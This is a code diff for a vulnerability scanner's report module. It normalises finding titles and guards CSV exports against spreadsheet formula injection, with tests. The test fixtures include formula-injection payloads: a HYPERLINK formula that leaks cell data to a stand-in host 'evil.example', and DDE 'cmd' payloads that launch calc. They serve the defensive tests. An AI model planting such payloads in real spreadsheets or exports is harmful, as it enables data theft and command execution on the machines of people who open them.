diff --git a/strix/report/state.py b/strix/report/state.py index a665adea..ed7fd0e1 100644 --- a/strix/report/state.py +++ b/strix/report/state.py @@ -1,5 +1,6 @@ import json import logging +import re import subprocess import threading from collections.abc import Callable @@ -32,6 +33,8 @@ logger = logging.getLogger(__name__) _global_report_state: Optional["ReportState"] = None +_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+") + def _strix_version() -> str | None: """Best-effort package version for the SARIF tool.driver.version field.""" @@ -41,6 +44,17 @@ def _strix_version() -> str | None: return None +def _clean_title(title: str) -> str: + """Return a single-line finding title. + + A title quotes text from the scanned target, so it can carry newlines, tabs or + other control characters. Those break every artifact that renders the title on + one line, such as the markdown heading, the CSV cell and the TUI list. Control + characters become spaces and runs of whitespace collapse to one space. + """ + return " ".join(_CONTROL_CHARS.sub(" ", title).split()) + + def _number(value: Any) -> int | float: try: return float(value or 0) @@ -222,8 +236,15 @@ class ReportState: ) self.vulnerability_reports = [r for r in data if isinstance(r, dict)] for r in self.vulnerability_reports: + title = r.get("title") + stale_md = False + if isinstance(title, str): + r["title"] = _clean_title(title) + stale_md = r["title"] != title rid = r.get("id") - if isinstance(rid, str): + # A finding already on disk keeps its markdown, unless cleaning + # changed the title: the heading on disk then needs a rewrite. + if isinstance(rid, str) and not stale_md: self._saved_vuln_ids.add(rid) logger.info( "report state hydrated %d vulnerability report(s)", @@ -266,7 +287,7 @@ class ReportState: report: dict[str, Any] = { "id": report_id, - "title": title.strip(), + "title": _clean_title(title), "severity": severity.lower().strip(), "timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"), } diff --git a/strix/report/writer.py b/strix/report/writer.py index 7ca28e29..47184d39 100644 --- a/strix/report/writer.py +++ b/strix/report/writer.py @@ -26,10 +26,33 @@ logger = logging.getLogger(__name__) _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} +_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r") + _FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL) _BACKTICK_RUN = re.compile(r"`+") +def csv_safe(value: object) -> str: + """Return ``value`` as a CSV cell a spreadsheet will not treat as a formula. + + Excel, LibreOffice and Sheets evaluate a cell whose first character is one of + ``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax + but has no notion of formula triggers, so such a value reaches the cell intact + and is executed on open (CWE-1236). Vulnerability titles quote text from the + scanned target, which is exactly the attacker-influenced input this guards + against. + + Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of + the cell is kept as literal text instead of being evaluated. Excel shows the + apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is + that nothing runs. + """ + text = str(value) + if text.startswith(_CSV_FORMULA_PREFIXES): + return "'" + text + return text + + def safe_fence(content: str) -> str: """Return a backtick fence that ``content`` cannot break out of. @@ -151,11 +174,11 @@ def write_vulnerabilities( for report in sorted_reports: csv_writer.writerow( { - "id": report["id"], - "title": report["title"], - "severity": report["severity"].upper(), - "timestamp": report["timestamp"], - "file": f"vulnerabilities/{report['id']}.md", + "id": csv_safe(report["id"]), + "title": csv_safe(report["title"]), + "severity": csv_safe(report["severity"].upper()), + "timestamp": csv_safe(report["timestamp"]), + "file": csv_safe(f"vulnerabilities/{report['id']}.md"), }, ) atomic_write_text(csv_path, csv_buf.getvalue()) @@ -176,11 +199,17 @@ def write_vulnerabilities( def atomic_write_text(path: Path, payload: str) -> None: - """Write *payload* to *path* via a sibling temp file and an atomic rename.""" + """Write *payload* to *path* via a sibling temp file and an atomic rename. + + ``newline=""`` disables newline translation so *payload* lands byte-for-byte: + the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn + into ``\\r\\r\\n`` on Windows. + """ path.parent.mkdir(parents=True, exist_ok=True) with tempfile.NamedTemporaryFile( mode="w", encoding="utf-8", + newline="", dir=str(path.parent), prefix=f".{path.name}.", suffix=".tmp", diff --git a/tests/test_list_reports.py b/tests/test_list_reports.py index 95025ac3..450721a3 100644 --- a/tests/test_list_reports.py +++ b/tests/test_list_reports.py @@ -2,6 +2,7 @@ from __future__ import annotations +import json from typing import TYPE_CHECKING import pytest @@ -27,6 +28,51 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState return state +def test_add_vulnerability_report_strips_control_chars_from_title( + report_state: ReportState, +) -> None: + # A title quotes text from the scanned target, so it can carry newlines or + # tabs that break the markdown heading, the CSV cell and the TUI list. + report_id = report_state.add_vulnerability_report( + title="\tXSS in\r\n search\x00 form ", + severity="medium", + target="https://app.example.com", + ) + report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id) + assert report["title"] == "XSS in search form" + + +def test_hydrate_from_run_dir_strips_control_chars_from_title( + report_state: ReportState, +) -> None: + # A run started before titles were normalized can hold control characters on + # disk, and resume re-exports those titles to the CSV, the SARIF and the TUI. + (report_state.get_run_dir() / "vulnerabilities.json").write_text( + json.dumps( + [ + { + "id": "vuln-0001", + "title": "XSS in\r\n search\tform", + "severity": "medium", + "timestamp": "2026-01-01 00:00:00 UTC", + } + ] + ), + encoding="utf-8", + ) + + md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md" + md_path.parent.mkdir(exist_ok=True) + md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8") + + report_state.hydrate_from_run_dir() + report_state.save_run_data() + + assert report_state.vulnerability_reports[0]["title"] == "XSS in search form" + # The markdown on disk holds the raw heading, so resume must rewrite it. + assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n") + + def _seed(state: ReportState) -> None: state.add_vulnerability_report( title="Reflected XSS in search", diff --git a/tests/test_report_writer.py b/tests/test_report_writer.py index f6f0dbcc..9b849010 100644 --- a/tests/test_report_writer.py +++ b/tests/test_report_writer.py @@ -9,6 +9,7 @@ from typing import TYPE_CHECKING, Any import pytest from strix.report.writer import ( + atomic_write_text, read_run_record, render_vulnerability_md, write_executive_report, @@ -163,6 +164,64 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> assert csv_rows[0]["severity"] == "CRITICAL" +@pytest.mark.parametrize( + "payload", + [ + '=HYPERLINK("http://evil.example/leak?d="&A1,"View")', + "+cmd|'/c calc'!A1", + "@SUM(1+1)*cmd|'/c calc'!A1", + "-2+3+cmd|'/c calc'!A1", + "\t leading tab", + "\r leading carriage return", + ], +) +def test_write_vulnerabilities_csv_neutralizes_formula_injection( + tmp_path: Path, + payload: str, +) -> None: + # Titles quote text from the scanned target, so a finding title can begin with + # a spreadsheet formula trigger. csv escapes CSV syntax but not formula + # triggers, so the cell has to be neutralized before it is written. + write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + title = csv_rows[0]["title"] + assert title.startswith("'") + assert not title.startswith(("=", "+", "-", "@", "\t", "\r")) + + +def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None: + payload = "=1+1" + write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact + + +def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None: + write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + assert csv_rows[0]["title"] == "SQL Injection in /login" + + +def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None: + # The CSV index carries its own \r\n terminators, so newline translation would + # turn every row ending into \r\r\n on Windows. + payload = "a,b\r\nc,d\r\n" + path = tmp_path / "index.csv" + + atomic_write_text(path, payload) + + assert path.read_bytes() == payload.encode("utf-8") + + def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None: reports = [_sample_report(id="vuln-0001")] saved: set[str] = {"vuln-0001"}